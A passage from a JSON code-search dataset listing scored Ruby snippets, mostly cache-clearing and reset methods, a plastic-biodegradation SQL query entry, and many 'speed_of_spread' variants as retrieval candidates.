"cf9fe0bbcef7a82f6bdc001bb772b1ed", "score": "0.6267465", "text": "def clear\n @components.clear\n end", "title": "" }, { "docid": "c409f8fac7d1e87a4d9985acfed97f5a", "score": "0.6262494", "text": "def clear\n @parent = nil\n end", "title": "" }, { "docid": "c31871422cdc63ec827cc57e106c3ed1", "score": "0.6244539", "text": "def clear\n @tree.clear\n return 0\n end", "title": "" }, { "docid": "fb905ab91a9f28147ca0aa834acd6fd1", "score": "0.6183443", "text": "def reset!\n @cached_descriptions = nil\n @nodes = nil\n @cloud_nodes = nil\n end", "title": "" }, { "docid": "bd83126fcbf5b32f611c1532438ea033", "score": "0.6168838", "text": "def clear\n initialize\n end", "title": "" }, { "docid": "bd83126fcbf5b32f611c1532438ea033", "score": "0.6168838", "text": "def clear\n initialize\n end", "title": "" }, { "docid": "f82c2c337a4eea63b6ea49b3adef268c", "score": "0.6161911", "text": "def clear_cache\n CircleCi.request(conf, \"#{base_path}/build-cache\").delete\n end", "title": "" }, { "docid": "429ccf9e23dafd01eab54ef2e4b77ff4", "score": "0.61535126", "text": "def clear_cache\n @all = nil\n end", "title": "" }, { "docid": "2d4c6d2ecc0dd1c695d2782a08a30a96", "score": "0.6093295", "text": "def clear_cache\n @lit_cache = {}\n @lit_nextpos = {}\n end", "title": "" }, { "docid": "ee4feaea62b47ecf28fd782917b5b1a9", "score": "0.6090932", "text": "def clear\n initialize\n self\n end", "title": "" }, { "docid": "2199537265c882f12198aa06af9afe00", "score": "0.60875493", "text": "def clear\n FileUtils.rm_f(cache_file)\n initialize!\n end", "title": "" }, { "docid": "a9d3b74282a787007fbd0e14fb85c238", "score": "0.60843784", "text": "def clear!\n @cache = {}\n end", "title": "" }, { "docid": "e5aa360c2fa6cae68e7316fe0b73f2cc", "score": "0.6072623", "text": "def clear\n each_child { |child| child.clear if child.kind_of?(BranchNode) }\n @children.clear\n end", "title": "" }, { "docid": "33af4b37f2a2baf6a7b72106bf00ee3d", "score": "0.606899", "text": "def clear\n @cache.clear\n end", "title": "" }, { "docid": "7dd61bb2906c19bbc9c25d2aa368387e", "score": "0.60668784", "text": "def clear\n @mutex.synchronize do\n @tuples.clear\n @objects.clear\n @catdata.clear\n end\n self\n end", "title": "" }, { "docid": "a3e42997ba9c3f0fb2cc3235cbd596f0", "score": "0.60553324", "text": "def clear_all!\n @cache = Cache.new\n end", "title": "" }, { "docid": "c7f9e6ada4082cbe1b6dfb98c4743524", "score": "0.6049731", "text": "def clear\n @nodes = Hash.new\n @ways = Hash.new\n @relations = Hash.new\n end", "title": "" }, { "docid": "0b5a924cac3b18a3fd1de256eac2ccb5", "score": "0.6046549", "text": "def clear\n @level = 0\n @out = []\n @labels = []\n self\n end", "title": "" }, { "docid": "06299326358430f14b18730c311914e8", "score": "0.60414964", "text": "def clear\n cache.clear\n end", "title": "" }, { "docid": "f2b42f10eb2ddcb6cf615bea5d8583e6", "score": "0.6033345", "text": "def clean\n Thread.current[:__cms_original_content] = nil\n Thread.current[:__cms_active_page] = nil\n Thread.current[:__cms_stack] = nil\n Thread.current[:__content_node_stack] = nil\n Thread.current[:__content_iterator_stack] = nil\n Thread.current[:__content_iterator_stack_key] = nil\n end", "title": "" }, { "docid": "6c07c4363b4fdfc890162c7b395cdc6c", "score": "0.6007695", "text": "def clear_targets\n @builder_sets.clear\n end", "title": "" }, { "docid": "5f71eeb81a4d612c5c94774d9b0d4200", "score": "0.5974904", "text": "def clear_compiler *keys\n compiler_pool && compiler_pool.clear\n end", "title": "" }, { "docid": "61b0dbc79a5cb0d092af496d6ea7b831", "score": "0.5969847", "text": "def clear_cache() @cache = {}; end", "title": "" }, { "docid": "125da432f881014ed2b4d4d42802d163", "score": "0.5958162", "text": "def clear\n\t\t@predecessor = nil\n\t\t@visited = false\n\t\t@node_string = \" \"\n\tend", "title": "" }, { "docid": "7f320b02489976adeca18d38539748c9", "score": "0.5956242", "text": "def clear\n @cache = {}\n end", "title": "" }, { "docid": "823292dbc58d2653e82199eae90b3190", "score": "0.5941993", "text": "def clear() end", "title": "" }, { "docid": "823292dbc58d2653e82199eae90b3190", "score": "0.5941993", "text": "def clear() end", "title": "" }, { "docid": "af25bb47c29708683e17608976810272", "score": "0.59344494", "text": "def clear_caches\n self.log.debug \"Clearing entry and values caches.\"\n\t\t@entry = nil\n\t\t@values.clear\n\tend", "title": "" }, { "docid": "ad7eda00b67e374b91e7f66ecd1ea8e5", "score": "0.5930742", "text": "def reset!\n @path_stack = []\n @stack = []\n @stacks = Hash.new { |hsh, k| hsh[k] = Stack.new }\n @text = nil\n end", "title": "" }, { "docid": "5fb57ddde019359bd98230c65cfa91a2", "score": "0.5925927", "text": "def clear\n @cache.clear\n self\n end", "title": "" }, { "docid": "7f872534129165bfb61471d32bec0d6c", "score": "0.5915875", "text": "def clear\n @cache.clear\n entries.clear\n self\n end", "title": "" }, { "docid": "3d7412bee1dd3710f9b2766de25bba83", "score": "0.59139746", "text": "def clear\n @root = nil\n @size = 0\n @header = Node.new(nil, nil, nil, nil)\n end", "title": "" }, { "docid": "8eafdb4277261021bdab55a1750f099e", "score": "0.5912055", "text": "def clear_cache\n CircleCi.request(@conf, \"/project/#{username}/#{project}/build-cache\").delete\n end", "title": "" }, { "docid": "16b59e30d3ca87c8c015a42e87386fe6", "score": "0.59118927", "text": "def reset!\n default_tags.clear\n adapters.clear\n groups.each_key { |group| singleton_class.send(:remove_method, group) if group && respond_to?(group) }\n @groups = nil\n metrics.each_key { |metric| singleton_class.send(:remove_method, metric) if respond_to?(metric) }\n @metrics = nil\n collectors.clear\n configurators.clear\n instance_variable_set(:@configured_by, nil)\n instance_variable_set(:@debug_was_enabled_by, nil)\n end", "title": "" }, { "docid": "09106a374348a9cc7fdd146c54f1703b", "score": "0.5905384", "text": "def clear_cache\n property_cache.clear\n end", "title": "" }, { "docid": "3f6f28d46b6b6535449a2b572f96c8d4", "score": "0.5905149", "text": "def clear!\n @paths = []\n end", "title": "" }, { "docid": "1a7ff8b4699b01ec18cb25db87a83f19", "score": "0.59037846", "text": "def clear\n @directory.clear\n @directory[ROOT] = Set.new\n @file.clear\n @mtime.clear\n end", "title": "" }, { "docid": "924c8a003ee7ad4a5305ad0ac013deaf", "score": "0.5903347", "text": "def clear\n # clear the lineage\n @lineage.clear\n # if the visited hash is not shared, then clear it\n @visited.clear unless @options.has_key?(:visited)\n end", "title": "" }, { "docid": "9cd9e70975caf7b97171700d904d74e0", "score": "0.5893266", "text": "def clear; end", "title": "" }, { "docid": "9cd9e70975caf7b97171700d904d74e0", "score": "0.5893266", "text": "def clear; end", "title": "" }, { "docid": "9cd9e70975caf7b97171700d904d74e0", "score": "0.5893266", "text": "def clear; end", "title": "" }, { "docid": "9cd9e70975caf7b97171700d904d74e0", "score": "0.5893266", "text": "def clear; end", "title": "" }, { "docid": "9cd9e70975caf7b97171700d904d74e0", "score": "0.5893266", "text": "def clear; end", "title": "" }, { "docid": "9cd9e70975caf7b97171700d904d74e0", "score": "0.5893266", "text": "def clear; end", "title": "" }, { "docid": "9cd9e70975caf7b97171700d904d74e0", "score": "0.5893266", "text": "def clear; end", "title": "" }, { "docid": "270b72023694db0c579a0b16f43cb79f", "score": "0.5888158", "text": "def distclean\n cache = Cache.instance\n clean\n cache.clear\n FileUtils.rm_rf(@build_dir)\n end", "title": "" }, { "docid": "d1151ad4da3b0f40ed7df226c9ef6835", "score": "0.5887601", "text": "def clear_children!\n @children.clear\n end", "title": "" }, { "docid": "c8028345105de66614a5540bd87c501b", "score": "0.5885795", "text": "def reset\n @parsers = nil\n @transformer = nil\n @cache = nil\n end", "title": "" }, { "docid": "ad0c70924154a6a9aa71fe15226e9a5b", "score": "0.5878273", "text": "def clear_atomic_path_cache\n self.path = nil\n _base.instance_variable_set(\"@atomic_paths\", nil)\n end", "title": "" }, { "docid": "2bc0e362d0c360ea24f8ddf0f1c005ee", "score": "0.5865479", "text": "def clear_compilation_cache\n {\n method: \"Page.clearCompilationCache\"\n }\n end", "title": "" }, { "docid": "52ea6be6666f7a01c5ef6a50d0561fa0", "score": "0.58438826", "text": "def clear\n\t\t@stack.clear\n\tend", "title": "" }, { "docid": "4c78b35fbbb4f1fae28aefcf2acf4e7f", "score": "0.5842826", "text": "def clear_node\n self.value = nil\n self.left_child = nil\n self.right_child = nil\n end", "title": "" }, { "docid": "865afd5dea744cccda16cc20a6110e96", "score": "0.5838684", "text": "def clean\n cache = Cache.instance\n # remove all built files\n cache.targets(false).each do |target|\n cache.remove_target(target)\n FileUtils.rm_f(target)\n end\n # remove all created directories if they are empty\n cache.directories(false).sort {|a, b| b.size <=> a.size}.each do |directory|\n cache.remove_directory(directory)\n next unless File.directory?(directory)\n if (Dir.entries(directory) - ['.', '..']).empty?\n Dir.rmdir(directory) rescue nil\n end\n end\n cache.write\n end", "title": "" }, { "docid": "03fc8d766ed8c90711047bcea30b01c5", "score": "0.5831896", "text": "def clear\n current_state.clear\n end", "title": "" }, { "docid": "bb76df78373390ae8dcbdb1351e63900", "score": "0.5828198", "text": "def clear_model\n class_eval do\n # Remove event models\n events.each_key do |ev_symbol|\n remove_const ev_symbol.to_s.camelcase(:upper)\n end\n\n [@events, @signal_sets, @forwarding_sets, @causal_link_sets,\n @arguments, @handler_sets, @precondition_sets].each do |set|\n set&.clear\n end\n end\n super\n end", "title": "" }, { "docid": "d2bb57b438c2b5f23ad188ad03624e7e", "score": "0.5827269", "text": "def clear\n\tsuper\n\tself['_'] = @parameters\n\tself['@'] = @root\n\tself['^'] = @parent if @parent\n\tself['$'] = self\n\tself\n end", "title": "" }, { "docid": "f2a3887b8080142c115d60f17514ddd9", "score": "0.58226365", "text": "def clear!; end", "title": "" }, { "docid": "f2a3887b8080142c115d60f17514ddd9", "score": "0.58226365", "text": "def clear!; end", "title": "" }, { "docid": "f2a3887b8080142c115d60f17514ddd9", "score": "0.58226365", "text": "def clear!; end", "title": "" }, { "docid": "1b4a10c8cacd28af1619342a7e41e791", "score": "0.5817024", "text": "def destroy\n @parent = nil\n @root = nil\n end", "title": "" }, { "docid": "ab77299a38a2493a653395073083a200", "score": "0.58076257", "text": "def clear() \n @obj.clear() \n end", "title": "" }, { "docid": "c9aa0f8db79dad7f642dff4e148d141b", "score": "0.5805762", "text": "def clear\n lazy_load # lazy load so that targets are always orphaned\n super\n end", "title": "" }, { "docid": "c9aa0f8db79dad7f642dff4e148d141b", "score": "0.5805762", "text": "def clear\n lazy_load # lazy load so that targets are always orphaned\n super\n end", "title": "" }, { "docid": "578a6001212bd4cbbb0016edbcba473f", "score": "0.5804343", "text": "def reset!\n @cache = nil\n end", "title": "" }, { "docid": "fd642110eec7dbfcf13e6fe6e8696eea", "score": "0.5800621", "text": "def clear_state\n @state.clear\n self\n end", "title": "" }, { "docid": "a65b6262a198edbf3a2d3735a0c34e0b", "score": "0.5799905", "text": "def clear\n @stack.clear\n end", "title": "" }, { "docid": "aa18965f5ddd7f6ae28ff2f8bdd05bda", "score": "0.57989997", "text": "def clear_cache; end", "title": "" }, { "docid": "e91a9cf2a54ce63cc0e51c1744b27f6d", "score": "0.5795345", "text": "def clear_cache!\n @cache = {}\n end", "title": "" }, { "docid": "e91a9cf2a54ce63cc0e51c1744b27f6d", "score": "0.5795345", "text": "def clear_cache!\n @cache = {}\n end", "title": "" }, { "docid": "f76c43936ae5ee0259411cf9d8562ec4", "score": "0.57855994", "text": "def clear\n do_clear\n end", "title": "" }, { "docid": "024ca03d1dff03ce3d4df526e47c0388", "score": "0.5783478", "text": "def clear_cache\n @cache = {}\n end", "title": "" }, { "docid": "04c444c7b8c28a34f67a6f69cc746ead", "score": "0.57786083", "text": "def disable_clear_and_finalize; end", "title": "" }, { "docid": "7b5dca0991d54e71ccdec572bfc142cb", "score": "0.57772195", "text": "def clear_compiler *keys\n keys.size == 0 ?\n compiler_pool.clear :\n keys.each do |key|\n compiler_pool.keys.each { |k| k.first == key && compiler_pool.delete(k) }\n end\nend", "title": "" }, { "docid": "1d947ffea5e525de0f1ea53496a4fdf5", "score": "0.57679427", "text": "def cache_clear\n @moneta.clear\n end", "title": "" }, { "docid": "38ce66d08e27794f2cc97a5f84417401", "score": "0.5756525", "text": "def cib_reset\n # Puppet.debug 'Reset CIB memoization'\n @raw_cib = nil\n @cib = nil\n @primitives = nil\n @primitives_structure = nil\n @nodes_structure = nil\n end", "title": "" }, { "docid": "814a274e109db5e63be7d758b7ed4d0f", "score": "0.5754798", "text": "def clear!\n contexts.clear\n end", "title": "" }, { "docid": "814a274e109db5e63be7d758b7ed4d0f", "score": "0.5754798", "text": "def clear!\n contexts.clear\n end", "title": "" }, { "docid": "deba1d4b1c38884de386c376aa5d8653", "score": "0.57417685", "text": "def clear_cache(create_new_object = T.unsafe(nil)); end", "title": "" }, { "docid": "ca3f151fae509265770a4f01885f374b", "score": "0.5732369", "text": "def clear\n return self if length.zero? # forces load_target if it hasn't happened already\n\n if @reflection.options[:dependent] && @reflection.options[:dependent] == :destroy\n destroy_all\n else \n delete_all\n end\n\n @owner.send(:cache_write, @reflection, self) if @reflection.options[:cached]\n\n self\n end", "title": "" }, { "docid": "26293909fbfed00e049b038fb5694b06", "score": "0.57264733", "text": "def reset_state\n @children = nil\n @logdev = nil\n @loglvl = nil\n end", "title": "" }, { "docid": "19dd87a79eb50b590c8e6f86e35afc1e", "score": "0.57171386", "text": "def clear_current_cache\n\t\t\t\t\tself.class.clear_current_cache\n\t\t\t\tend", "title": "" }, { "docid": "466bd24d88770b37c3dbd1b97ac05766", "score": "0.57081014", "text": "def clear\r\n @cache.flush\r\n end", "title": "" }, { "docid": "40b4cddf2f6bd6175af6c7b26b4c7f22", "score": "0.5707618", "text": "def clear()\n\t\treturn Clear.new\n\tend", "title": "" }, { "docid": "946579c89635f6272cadfd25fcc0e404", "score": "0.5702315", "text": "def teardown\n @root = nil\n end", "title": "" }, { "docid": "060a970193b3328c3653d817e5cd793e", "score": "0.5700338", "text": "def clear\n @atlas.clear\n end", "title": "" }, { "docid": "b205824ff5fb9402c089cae4faec846e", "score": "0.5697857", "text": "def clear\n \n @hook_contexts.clear if @hook_contexts\n @execution_contexts.clear if @execution_contexts\n @cascade_contexts.clear if @cascade_contexts\n \n self\n \n end", "title": "" }, { "docid": "9de940de1e3f2185d16ff0fa83b93a65", "score": "0.5694503", "text": "def delete_tree\n @root = nil # In ruby it will be taken care by garbage collector\n end", "title": "" }, { "docid": "9a606ae42219c100f5a9094470bf7514", "score": "0.56880414", "text": "def clear\n end", "title": "" }, { "docid": "9a606ae42219c100f5a9094470bf7514", "score": "0.56880414", "text": "def clear\n end", "title": "" }, { "docid": "c04a49b3cee49edb8f962f0d73d942cf", "score": "0.5673176", "text": "def clear\n @output_buffer=\"\"\n @binding_rebuild_count=0\n @xyz123page_blurbs=Set.new\n @args=nil\n end", "title": "" } ]
a449dcd0a6456dfc77ef008fd2c48ffd
calculate until when will the plastic be on the planet
[ { "docid": "27d9154479211f18ca38157fa6580f38", "score": "0.0", "text": "def biodegrate()\n sql = 'SELECT existence FROM plastics WHERE id=$1'\n values=[@id]\n results= SqlRunner.run(sql, values)\n return results.first['existence'].to_i + 2018\n #2018 hard coded at the moment, will change to use as a current year from SQL\nend", "title": "" } ]
[ { "docid": "d128a342be35286f4df5f720163abd44", "score": "0.61710227", "text": "def future_planet(planet_id, turn)\n planet = self.forecast[planet_id].last.clone\n if planet.neutral?\n # No growth, battles can be 3-way\n inbound_fleets = @pw.fleets.select{|fleet| fleet.destination_planet == planet_id && fleet.turns_remaining == turn}\n p1_ships = inbound_fleets.select{|fleet| fleet.owner == 1}.inject(0){|ships, fleet| ships + fleet.num_ships}\n p2_ships = inbound_fleets.select{|fleet| fleet.owner == 2}.inject(0){|ships, fleet| ships + fleet.num_ships}\n # log \"P1 ships: #{p1_ships}, P2 ships: #{p2_ships}\"\n\n # No invaders? Then the planet stays as it is\n return planet if p1_ships == 0 && p2_ships == 0\n\n # Are there two invaders?\n if p1_ships > 0 && p2_ships > 0\n # Attackers are the same size, so invasion fails. Neutral keeps the planet.\n if p1_ships == p2_ships\n log \"In #{turn} turns, on planet #{planet_id}, two players invade at the same time: #{p1_ships} && #{p2_ships} vs #{planet.num_ships}. Resetting planet ships to 0.\"\n planet.num_ships = 0\n return planet\n end\n\n # All forces fight. Winner is the one with the biggest fleet. Leftover ships is diff with 2nd fleet.\n if p1_ships > (enemies = [p2_ships, planet.num_ships].max)\n # p1 wins\n planet.owner = 1\n planet.num_ships = p1_ships - enemies\n elsif p2_ships > (enemies = [p1_ships, planet.num_ships].max)\n # p2 wins\n planet.owner = 2\n planet.num_ships = p2_ships - enemies\n else\n # neutral wins\n planet.num_ships -= [p1_ships, p2_ships].max\n end\n return planet\n elsif p1_ships > 0\n if planet.num_ships < p1_ships\n # Invader wins, owns planet\n planet.owner = 1\n planet.num_ships = p1_ships - planet.num_ships\n else\n # Invader loses\n planet.num_ships -= p1_ships\n end\n else # p2\n if planet.num_ships < p2_ships\n # Invader wins, owns planet\n planet.owner = 2\n planet.num_ships = p2_ships - planet.num_ships\n else\n # Invader loses\n planet.num_ships -= p2_ships\n end\n end\n return planet\n else\n # Growth, battles only 2-way\n planet.num_ships += planet.growth_rate\n planet.num_ships += @pw.fleets.select{|fleet| fleet.owner == planet.owner && fleet.turns_remaining == turn}.inject(0){|ships, fleet| ships + fleet.num_ships}\n invaders = @pw.fleets.select{|fleet| fleet.owner != planet.owner && fleet.turns_remaining == turn}.inject(0){|ships, fleet| ships + fleet.num_ships}\n if invaders > planet.num_ships\n planet.num_ships = invaders - planet.num_ships\n planet.owner = (planet.owner == 1 ? 2 : 1) # Change owner\n else\n planet.num_ships -= invaders\n end\n return planet\n end\n end", "title": "" }, { "docid": "a1e18dcf72814fe6aa3c8c58b9626812", "score": "0.6164887", "text": "def on_pluto\n # Very approximate, due to a different orbital plane to the other 8 planets\n years / 247.939767283\n end", "title": "" }, { "docid": "2e111fc9a33148e165c7819732695e05", "score": "0.59877014", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n # another way to get the factor to return the correct speed\r\n factors = {200 => 0.5, 150 => 1, 100 => 1.5, 50 => 2 , 0 => 2.5 }\r\n speed = factors.select{|population_density, speed| population_density <= @population_density }.values.first\r\n\r\n end", "title": "" }, { "docid": "fbfcf6500bd983a942245e64609c32c2", "score": "0.5951673", "text": "def speed_of_spread #in months\n\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n density = @population_density\n speed = 0.0\n\n if density >= 200\n speed += 0.5\n \n elsif density >= 150\n speed += 1\n \n elsif density >= 100\n speed += 1.5\n \n elsif density >= 50\n speed += 2\n \n else\n speed += 2.5\n end\n\n end", "title": "" }, { "docid": "6926f22d7babd67b001c0a825f91b7fb", "score": "0.5925411", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n # another way to get the factor to return the corret speed\n factors = {200 => 0.5, 150 => 1, 100 => 1.5, 50 => 2 , 0 => 2.5 }\n speed = factors.select{|population_density, speed| population_density <= @population_density }.values.first\n\n end", "title": "" }, { "docid": "410e2f88bc1cf40f7a0bd2ae4254632b", "score": "0.59035695", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if population_density >= 200\r\n speed += 0.5\r\n elsif population_density >= 150\r\n speed += 1\r\n elsif population_density >= 100\r\n speed += 1.5\r\n elsif population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "cd44e3a0f439adf6f13d80e5b84ff130", "score": "0.5873626", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n \n density = 200\n speed = 0.0\n increment = 0.5\n\n while density >= 0\n if increment == 2.5\n speed = increment\n break\n elsif @population_density >= density\n speed = increment\n break\n end\n\n density = density - 50\n increment += 0.5\n end\n\n\n\n\n\n\n\n\n # speed = 0.0\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "45d8f62f69475cf0c079c34f1fc3a5e0", "score": "0.58714706", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n \n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n \n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n \n end", "title": "" }, { "docid": "3c783546bf4d6533fd14e31ed78c3862", "score": "0.58623636", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.5\n density = 200\n until @population_density >= density\n speed += 0.5\n density -= 50\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "47b8428c0bf074c87fcf5013cf8bd9b8", "score": "0.5843348", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density < 200 && @population_density >= 100\r\n speed += (300 / @population_density).floor() * 0.5 \r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "ac5ffe92fb098eecc85149a6c1e3219a", "score": "0.5840476", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n\n if population_density >= 200\n speed += 0.5\n elsif population_density >= 150\n speed += 1\n elsif population_density >= 100\n speed += 1.5\n elsif population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "d58e54c5de10aa4894201ac391ad7265", "score": "0.58357143", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n if population_density >= 200\r\n speed = 0.5\r\n elsif population_density >= 150\r\n speed = 1\r\n elsif population_density >= 100\r\n speed = 1.5\r\n elsif population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "edb5793af1c74f6c3a8853a5766a61cc", "score": "0.58322066", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n speed = 2.5 - (@population_density/10).floor/10\n if speed < 0.5\n speed = 0.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "c4d8e037bbed48341de5bec52aa21e9a", "score": "0.58289725", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "c4d8e037bbed48341de5bec52aa21e9a", "score": "0.58289725", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "bf6b6a72d9f713098569c1a371e4af87", "score": "0.58282685", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n end", "title": "" }, { "docid": "8f7a03cbcb7e38ecaa6f4107e62d8419", "score": "0.5826583", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if population_density >= 200\n speed += 0.5\n elsif population_density >= 150\n speed += 1\n elsif population_density >= 100\n speed += 1.5\n elsif population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "bcfeedda2dbc7bcfa3c6d18af219f34a", "score": "0.5823266", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if population_density >= 200\n speed += 0.5\n elsif population_density >= 150\n speed += 1\n elsif population_density >= 100\n speed += 1.5\n elsif population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "bcfeedda2dbc7bcfa3c6d18af219f34a", "score": "0.5823266", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if population_density >= 200\n speed += 0.5\n elsif population_density >= 150\n speed += 1\n elsif population_density >= 100\n speed += 1.5\n elsif population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "0125434ad69cafed805387725d29fa64", "score": "0.58190936", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n end", "title": "" }, { "docid": "3cf8c2f7ec546725c10bf523f592a432", "score": "0.581777", "text": "def speed_of_spread #in months\r\n \r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n \r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n \r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n end", "title": "" }, { "docid": "f3f31d637ba9e87087084f747eff2e62", "score": "0.58144534", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n \n\n end", "title": "" }, { "docid": "9f0c7e30ec93aade437fd8de9acacab2", "score": "0.58134305", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n end", "title": "" }, { "docid": "bf0ab5622b952fbf1621479a5a130ce2", "score": "0.58128077", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200 \r\n speed += 0.5 \r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n \r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "eb57b8e0a3c7148294518c17469f4326", "score": "0.5812726", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.5\n speed_array = [0.5, 1, 1.5, 2, 2.5]\n i = 0\n\n until @population_density >= @dense[i]\n speed = speed_array[i+1]\n i += 1\n end\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "4f5fad6351438dabbf8fead7fb07e9d6", "score": "0.58110327", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 